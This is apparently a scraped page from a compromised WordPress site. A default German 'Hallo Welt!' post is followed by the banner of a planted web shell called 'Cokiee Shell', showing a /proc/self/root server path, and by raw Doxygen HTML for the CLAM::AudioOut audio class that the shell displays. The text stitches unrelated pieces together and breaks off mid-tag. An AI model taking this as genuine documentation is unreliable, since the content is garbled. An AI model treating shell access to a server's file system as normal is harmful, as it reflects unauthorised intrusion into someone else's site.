Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/share/doc/libclam-doc/html/ |
Current File : //proc/self/root/usr/share/doc/libclam-doc/html/classCLAM_1_1AudioOut.html |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>CLAM-Development: CLAM::AudioOut Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">CLAM-Development  <span id="projectnumber">1.4.0</span> </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.1 --> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main Page</span></a></li> <li><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="namespaces.html"><span>Namespaces</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class List</span></a></li> <li><a href="classes.html"><span>Class Index</span></a></li> <li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li> <li><a href="functions.html"><span>Class Members</span></a></li> </ul> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="namespaceCLAM.html">CLAM</a></li><li class="navelem"><a class="el" href="classCLAM_1_1AudioOut.html">AudioOut</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> | <a href="#pro-methods">Protected Member Functions</a> | <a href="#friends">Friends</a> </div> <div class="headertitle"> <div class="title">CLAM::AudioOut Class Reference</div> </div> </div><!--header--> <div class="contents"> <p>This class is the interface to an output of an <a class="el" href="classCLAM_1_1AudioDevice.html" title="This is the abstract base class for an audio device.">AudioDevice</a>. <a href="classCLAM_1_1AudioOut.html#details">More...</a></p> <p><code>#include <<a class="el" href="AudioOut_8hxx_source.html">AudioOut.hxx</a>></code></p> <p><a href="classCLAM_1_1AudioOut-members.html">List of all members.</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a599cb625854bd57ee4ea6d6c32e56605"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#a599cb625854bd57ee4ea6d6c32e56605">ConcreteConfigure</a> (const <a class="el" href="classCLAM_1_1ProcessingConfig.html">ProcessingConfig</a> &c) throw (ErrProcessingObj)</td></tr> <tr class="memdesc:a599cb625854bd57ee4ea6d6c32e56605"><td class="mdescLeft"> </td><td class="mdescRight">Configuration method interface. <a href="#a599cb625854bd57ee4ea6d6c32e56605"></a><br/></td></tr> <tr class="memitem:afb76933f8b33f6e26b522324118554af"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classCLAM_1_1ProcessingConfig.html">ProcessingConfig</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#afb76933f8b33f6e26b522324118554af">GetConfig</a> () const </td></tr> <tr class="memdesc:afb76933f8b33f6e26b522324118554af"><td class="mdescLeft"> </td><td class="mdescRight">Getter for the configuration of the class. <a href="#afb76933f8b33f6e26b522324118554af"></a><br/></td></tr> <tr class="memitem:a1a9400fa53d3b21d3850a993e8e82423"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#a1a9400fa53d3b21d3850a993e8e82423">AudioOut</a> ()</td></tr> <tr class="memdesc:a1a9400fa53d3b21d3850a993e8e82423"><td class="mdescLeft"> </td><td class="mdescRight">Default constructor for the class. <a href="#a1a9400fa53d3b21d3850a993e8e82423"></a><br/></td></tr> <tr class="memitem:a0d23e0fd2a46e6fb5ecc10ca7b3409f5"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#a0d23e0fd2a46e6fb5ecc10ca7b3409f5">AudioOut</a> (const <a class="el" href="classCLAM_1_1AudioIOConfig.html">AudioIOConfig</a> &cfg)</td></tr> <tr class="memdesc:a0d23e0fd2a46e6fb5ecc10ca7b3409f5"><td class="mdescLeft"> </td><td class="mdescRight">Constructor of the class with an <a class="el" href="classCLAM_1_1AudioIOConfig.html" title="Configuration of the AudioIn and AudioOut classes.">AudioIOConfig</a> object constructed by the user as parameter. <a href="#a0d23e0fd2a46e6fb5ecc10ca7b3409f5"></a><br/></td></tr> <tr class="memitem:afc565eafdbea2050742308cdfdf485a7"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#afc565eafdbea2050742308cdfdf485a7">~AudioOut</a> ()</td></tr> <tr class="memdesc:afc565eafdbea2050742308cdfdf485a7"><td class="mdescLeft"> </td><td class="mdescRight">Destructor method of the class. <a href="#afc565eafdbea2050742308cdfdf485a7"></a><br/></td></tr> <tr class="memitem:aae9f624e1d68d0d488878483e1aad920"><td class="memItemLeft" align="right" valign="top">const char * </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#aae9f624e1d68d0d488878483e1aad920">GetClassName</a> () const </td></tr> <tr class="memdesc:aae9f624e1d68d0d488878483e1aad920"><td class="mdescLeft"> </td><td class="mdescRight">Override it in every subclass and retur the name of that class. <a href="#aae9f624e1d68d0d488878483e1aad920"></a><br/></td></tr> <tr class="memitem:a64872a0df94b75b0cfe39061289b5616"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#a64872a0df94b75b0cfe39061289b5616">Do</a> (void)</td></tr> <tr class="memdesc:a64872a0df94b75b0cfe39061289b5616"><td class="mdescLeft"> </td><td class="mdescRight">Supervised mode of Do method. <a href="#a64872a0df94b75b0cfe39061289b5616"></a><br/></td></tr> <tr class="memitem:a27d7c0167d0c4a0ec73abc9d6752e3b0"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#a27d7c0167d0c4a0ec73abc9d6752e3b0">Do</a> (const <a class="el" href="classCLAM_1_1Audio.html">Audio</a> &data)</td></tr> <tr class="memdesc:a27d7c0167d0c4a0ec73abc9d6752e3b0"><td class="mdescLeft"> </td><td class="mdescRight">Non supervised mode of Do function. <a href="#a27d7c0167d0c4a0ec73abc9d6752e3b0"></a><br/></td></tr> <tr class="memitem:afe59c08612d3961871b9ac2b8417a3c0"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#afe59c08612d3961871b9ac2b8417a3c0">GetDeviceInfo</a> (<a class="el" href="structCLAM_1_1AudioDevice_1_1TInfo.html">AudioDevice::TInfo</a> &) const </td></tr> <tr class="memdesc:afe59c08612d3961871b9ac2b8417a3c0"><td class="mdescLeft"> </td><td class="mdescRight">Getter for the Info of Device Object attached to this <a class="el" href="classCLAM_1_1AudioIn.html" title="This class is the interface to an input of an AudioDevice.">AudioIn</a> instantiation. <a href="#afe59c08612d3961871b9ac2b8417a3c0"></a><br/></td></tr> <tr class="memitem:aa1522ec677e83f55f30d9ff9dfdbfbdc"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classint.html">int</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#aa1522ec677e83f55f30d9ff9dfdbfbdc">GetChannelID</a> () const </td></tr> <tr class="memitem:ab5293cde72ee44e978a5d0a7c773c85c"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#ab5293cde72ee44e978a5d0a7c773c85c">IsSyncSource</a> () const </td></tr> <tr class="memdesc:ab5293cde72ee44e978a5d0a7c773c85c"><td class="mdescLeft"> </td><td class="mdescRight">Wether the processing is a sync source such as audio i/o device, or an audio callback hook (i.e. <a href="#ab5293cde72ee44e978a5d0a7c773c85c"></a><br/></td></tr> <tr class="inherit_header pub_methods_classCLAM_1_1Processing"><td colspan="2" onclick="javascript:toggleInherit('pub_methods_classCLAM_1_1Processing')"><img src="closed.png" alt="-"/> Public Member Functions inherited from <a class="el" href="classCLAM_1_1Processing.html">CLAM::Processing</a></td></tr> <tr class="memitem:a586222b159a5b27b5bbb830a125fccc0 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a586222b159a5b27b5bbb830a125fccc0">Configure</a> (const <a class="el" href="classCLAM_1_1ProcessingConfig.html">ProcessingConfig</a> &config)</td></tr> <tr class="memdesc:a586222b159a5b27b5bbb830a125fccc0 inherit pub_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Configuration change method. <a href="#a586222b159a5b27b5bbb830a125fccc0"></a><br/></td></tr> <tr class="memitem:a81c4b3718ce9d0b207a25eedeca975e9 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a81c4b3718ce9d0b207a25eedeca975e9">Start</a> (void)</td></tr> <tr class="memdesc:a81c4b3718ce9d0b207a25eedeca975e9 inherit pub_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Method to turn the object into running state. <a href="#a81c4b3718ce9d0b207a25eedeca975e9"></a><br/></td></tr> <tr class="memitem:a12b6447e841dbe5eecefebf021fc1a06 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a12b6447e841dbe5eecefebf021fc1a06">Stop</a> (void)</td></tr> <tr class="memdesc:a12b6447e841dbe5eecefebf021fc1a06 inherit pub_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Method to put the object out of running state When in execution mode, this method must be called before any further call to <a class="el" href="classCLAM_1_1Processing.html#a586222b159a5b27b5bbb830a125fccc0" title="Configuration change method.">Configure()</a> methods. <a href="#a12b6447e841dbe5eecefebf021fc1a06"></a><br/></td></tr> <tr class="memitem:ad27ec8360d2d4cc3d8b4c1b0e196d916 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#ad27ec8360d2d4cc3d8b4c1b0e196d916">Processing</a> ()</td></tr> <tr class="memitem:ae27a8fe64f616e411517e2f68a0ca4c6 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">virtual </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#ae27a8fe64f616e411517e2f68a0ca4c6">~Processing</a> ()</td></tr> <tr class="memitem:ab8f30da744309f9b4700c8250ccff54e inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">virtual bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#ab8f30da744309f9b4700c8250ccff54e">CanProcessInplace</a> ()</td></tr> <tr class="memdesc:ab8f30da744309f9b4700c8250ccff54e inherit pub_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Override this method if your processing cannot process inplace. <a href="#ab8f30da744309f9b4700c8250ccff54e"></a><br/></td></tr> <tr class="memitem:ad72faa125b455acc9cdb0ebe8b4c0146 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#ad72faa125b455acc9cdb0ebe8b4c0146">CanConsumeAndProduce</a> ()</td></tr> <tr class="memdesc:ad72faa125b455acc9cdb0ebe8b4c0146 inherit pub_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Check that Supervised <a class="el" href="classCLAM_1_1Processing.html#abefb869e5f9410bb6fe5744fd70f03c9" title="Supervised mode execution method (using ports)">Do()</a> can be safely called. <a href="#ad72faa125b455acc9cdb0ebe8b4c0146"></a><br/></td></tr> <tr class="memitem:a8459642ceae6e2bcf128acbbfc427eb9 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a8459642ceae6e2bcf128acbbfc427eb9">ConsumeAndProduce</a> ()</td></tr> <tr class="memdesc:a8459642ceae6e2bcf128acbbfc427eb9 inherit pub_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Acknoledges data tokens in published ports as read/writen by calling Produce() for all registered OutPorts and Consume() to all registered InPorts. <a href="#a8459642ceae6e2bcf128acbbfc427eb9"></a><br/></td></tr> <tr class="memitem:a4dfa76686bbac1c6444f5641be0f0cdd inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">std::string </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a4dfa76686bbac1c6444f5641be0f0cdd">GetExecStateString</a> () const </td></tr> <tr class="memitem:a1fe82c6b41ba9ba1b46e7ea17bb48e91 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a1fe82c6b41ba9ba1b46e7ea17bb48e91">IsConfigured</a> () const </td></tr> <tr class="memitem:ab8b86869f09192ab1bcae5d1a3d3b4a9 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#ab8b86869f09192ab1bcae5d1a3d3b4a9">IsRunning</a> () const </td></tr> <tr class="memitem:a9a42e647c5538f852957252f16d1c0f4 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a9a42e647c5538f852957252f16d1c0f4">RegisterOutPort</a> (<a class="el" href="classCLAM_1_1OutPortBase.html">OutPortBase</a> *out)</td></tr> <tr class="memitem:a976a5526dcb9c31c22300ecbd0fa48d3 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a976a5526dcb9c31c22300ecbd0fa48d3">RegisterInPort</a> (<a class="el" href="classCLAM_1_1InPortBase.html">InPortBase</a> *in)</td></tr> <tr class="memitem:a89a0e2ea9a5138ccf25566832a8e37f6 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a89a0e2ea9a5138ccf25566832a8e37f6">RegisterOutControl</a> (<a class="el" href="classCLAM_1_1OutControlBase.html">OutControlBase</a> *out)</td></tr> <tr class="memitem:a5aa743b7df7e54cdf2b53d0cafc0fd5f inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a5aa743b7df7e54cdf2b53d0cafc0fd5f">RegisterInControl</a> (<a class="el" href="classCLAM_1_1InControlBase.html">InControlBase</a> *in)</td></tr> <tr class="memitem:ae882ffd6dca37a47a93a5d6b723959a0 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#ae882ffd6dca37a47a93a5d6b723959a0">SetParent</a> (<a class="el" href="classCLAM_1_1Processing.html">Processing</a> *p)</td></tr> <tr class="memitem:a4495c3e0f3957327114d6ca6141f6a1c inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a4495c3e0f3957327114d6ca6141f6a1c">SetNetworkBackLink</a> (<a class="el" href="classCLAM_1_1Network.html">Network</a> *network)</td></tr> <tr class="memitem:a9a6e862114fd44c6e62792c4b052c992 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">virtual bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a9a6e862114fd44c6e62792c4b052c992">ModifiesPortsAndControlsAtConfiguration</a> ()</td></tr> <tr class="memdesc:a9a6e862114fd44c6e62792c4b052c992 inherit pub_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">This method is used to determine if a given processing can change its interface of ports/controls after its construction (i.e. <a href="#a9a6e862114fd44c6e62792c4b052c992"></a><br/></td></tr> <tr class="memitem:a59a86056b261a11075a62cf931381bb2 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a59a86056b261a11075a62cf931381bb2">HasInPort</a> (const std::string &name)</td></tr> <tr class="memitem:ade6ac7247dfeec40a03f569fdc28b683 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#ade6ac7247dfeec40a03f569fdc28b683">HasOutPort</a> (const std::string &name)</td></tr> <tr class="memitem:a4a9b2edf6ae452ca3eb751c08397b595 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a4a9b2edf6ae452ca3eb751c08397b595">HasInControl</a> (const std::string &name)</td></tr> <tr class="memitem:a915350147605e7d151f780e9f994d2f3 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a915350147605e7d151f780e9f994d2f3">HasOutControl</a> (const std::string &name)</td></tr> <tr class="memitem:a632863847a3e8905d8015f4a623bb14a inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1InPortBase.html">InPortBase</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a632863847a3e8905d8015f4a623bb14a">GetInPort</a> (const std::string &name)</td></tr> <tr class="memitem:a26824f5cc52dde1de532cd4ebb57dd8b inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1OutPortBase.html">OutPortBase</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a26824f5cc52dde1de532cd4ebb57dd8b">GetOutPort</a> (const std::string &name)</td></tr> <tr class="memitem:a502904b09f9a6dcb670a0ae0f2bbd884 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1InControlBase.html">InControlBase</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a502904b09f9a6dcb670a0ae0f2bbd884">GetInControl</a> (const std::string &name)</td></tr> <tr class="memitem:a8b655006d039aef095b6ffe0ef407b0f inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1OutControlBase.html">OutControlBase</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a8b655006d039aef095b6ffe0ef407b0f">GetOutControl</a> (const std::string &name)</td></tr> <tr class="memitem:af3aa81920d8f4bfc5da68bf3b1b0774c inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1InPortBase.html">InPortBase</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#af3aa81920d8f4bfc5da68bf3b1b0774c">GetInPort</a> (<a class="el" href="classunsigned.html">unsigned</a> index)</td></tr> <tr class="memitem:a22d5f2f7e6a6dd5d17c815e99560fd14 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1OutPortBase.html">OutPortBase</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a22d5f2f7e6a6dd5d17c815e99560fd14">GetOutPort</a> (<a class="el" href="classunsigned.html">unsigned</a> index)</td></tr> <tr class="memitem:a8a236c276e80a16983565911d27520ba inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1InControlBase.html">InControlBase</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a8a236c276e80a16983565911d27520ba">GetInControl</a> (<a class="el" href="classunsigned.html">unsigned</a> index)</td></tr> <tr class="memitem:abce8a35cc428db1f0fb89d040505021e inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1OutControlBase.html">OutControlBase</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#abce8a35cc428db1f0fb89d040505021e">GetOutControl</a> (<a class="el" href="classunsigned.html">unsigned</a> index)</td></tr> <tr class="memitem:a0a5fd92dbe01bcbfe3070257e5a77e1d inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classunsigned.html">unsigned</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a0a5fd92dbe01bcbfe3070257e5a77e1d">GetNInPorts</a> () const </td></tr> <tr class="memitem:a067bbba220300741bdc0fe314f97628b inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classunsigned.html">unsigned</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a067bbba220300741bdc0fe314f97628b">GetNOutPorts</a> () const </td></tr> <tr class="memitem:a826ea14b27d03f66e4994f9a24e0412e inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classunsigned.html">unsigned</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a826ea14b27d03f66e4994f9a24e0412e">GetNInControls</a> () const </td></tr> <tr class="memitem:a0c6a54c047f57b08b020aad648f70d0c inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classunsigned.html">unsigned</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a0c6a54c047f57b08b020aad648f70d0c">GetNOutControls</a> () const </td></tr> <tr class="memitem:a56a71f5a93f276cc2b03579afb28e8d5 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">const std::string & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a56a71f5a93f276cc2b03579afb28e8d5">GetConfigErrorMessage</a> () const </td></tr> <tr class="memdesc:a56a71f5a93f276cc2b03579afb28e8d5 inherit pub_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Returns a string describing configuration errors if any. <a href="#a56a71f5a93f276cc2b03579afb28e8d5"></a><br/></td></tr> <tr class="memitem:a6292384aa6a6f2c637062b7200d46e07 inherit pub_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">virtual bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a6292384aa6a6f2c637062b7200d46e07">SupportsVariableAudioSize</a> () const </td></tr> <tr class="memdesc:a6292384aa6a6f2c637062b7200d46e07 inherit pub_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">This method reports whether the processing supports dynamic buffer-size host. <a href="#a6292384aa6a6f2c637062b7200d46e07"></a><br/></td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="pro-methods"></a> Protected Member Functions</h2></td></tr> <tr class="memitem:a6435f1ce04c675b643277a5e8c73a836"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#a6435f1ce04c675b643277a5e8c73a836">ConcreteStart</a> ()</td></tr> <tr class="memdesc:a6435f1ce04c675b643277a5e8c73a836"><td class="mdescLeft"> </td><td class="mdescRight"><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> objects have to redefine this method when starting them implies some internal changes. <a href="#a6435f1ce04c675b643277a5e8c73a836"></a><br/></td></tr> <tr class="memitem:a1380b673b3ee468e8ad765866f1b4bbd"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#a1380b673b3ee468e8ad765866f1b4bbd">ConcreteStop</a> ()</td></tr> <tr class="memdesc:a1380b673b3ee468e8ad765866f1b4bbd"><td class="mdescLeft"> </td><td class="mdescRight"><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> objects have to redefine this method when stoping them implies some internal changes. <a href="#a1380b673b3ee468e8ad765866f1b4bbd"></a><br/></td></tr> <tr class="inherit_header pro_methods_classCLAM_1_1Processing"><td colspan="2" onclick="javascript:toggleInherit('pro_methods_classCLAM_1_1Processing')"><img src="closed.png" alt="-"/> Protected Member Functions inherited from <a class="el" href="classCLAM_1_1Processing.html">CLAM::Processing</a></td></tr> <tr class="memitem:a115269a23acdbde8b7eebf7ce2f3b8d3 inherit pro_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classunsigned.html">unsigned</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a115269a23acdbde8b7eebf7ce2f3b8d3">BackendBufferSize</a> ()</td></tr> <tr class="memdesc:a115269a23acdbde8b7eebf7ce2f3b8d3 inherit pro_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Given by the <a class="el" href="classCLAM_1_1NetworkPlayer.html" title="A NetworkPlayer is an object that controls the playback of a Network providing a high level transport...">NetworkPlayer</a> (backend) if exists. <a href="#a115269a23acdbde8b7eebf7ce2f3b8d3"></a><br/></td></tr> <tr class="memitem:a68495ca1d8beb3d2f2881ddff0679862 inherit pro_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classunsigned.html">unsigned</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a68495ca1d8beb3d2f2881ddff0679862">BackendSampleRate</a> ()</td></tr> <tr class="memdesc:a68495ca1d8beb3d2f2881ddff0679862 inherit pro_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Given by the <a class="el" href="classCLAM_1_1NetworkPlayer.html" title="A NetworkPlayer is an object that controls the playback of a Network providing a high level transport...">NetworkPlayer</a> (backend) if exists. <a href="#a68495ca1d8beb3d2f2881ddff0679862"></a><br/></td></tr> <tr class="memitem:a7c73560d689adc4d7fa59b524afb3e4b inherit pro_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1InControlRegistry.html">InControlRegistry</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a7c73560d689adc4d7fa59b524afb3e4b">GetInControls</a> ()</td></tr> <tr class="memdesc:a7c73560d689adc4d7fa59b524afb3e4b inherit pro_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Accessor to published Controls manager. <a href="#a7c73560d689adc4d7fa59b524afb3e4b"></a><br/></td></tr> <tr class="memitem:abf1710583835d78215aeb06716e82c93 inherit pro_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1OutControlRegistry.html">OutControlRegistry</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#abf1710583835d78215aeb06716e82c93">GetOutControls</a> ()</td></tr> <tr class="memdesc:abf1710583835d78215aeb06716e82c93 inherit pro_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Accessor to published Controls manager. <a href="#abf1710583835d78215aeb06716e82c93"></a><br/></td></tr> <tr class="memitem:a64cc3cd1076c485562a2ea326b525015 inherit pro_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1InPortRegistry.html">InPortRegistry</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a64cc3cd1076c485562a2ea326b525015">GetInPorts</a> ()</td></tr> <tr class="memdesc:a64cc3cd1076c485562a2ea326b525015 inherit pro_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Accessor to published Ports manager. <a 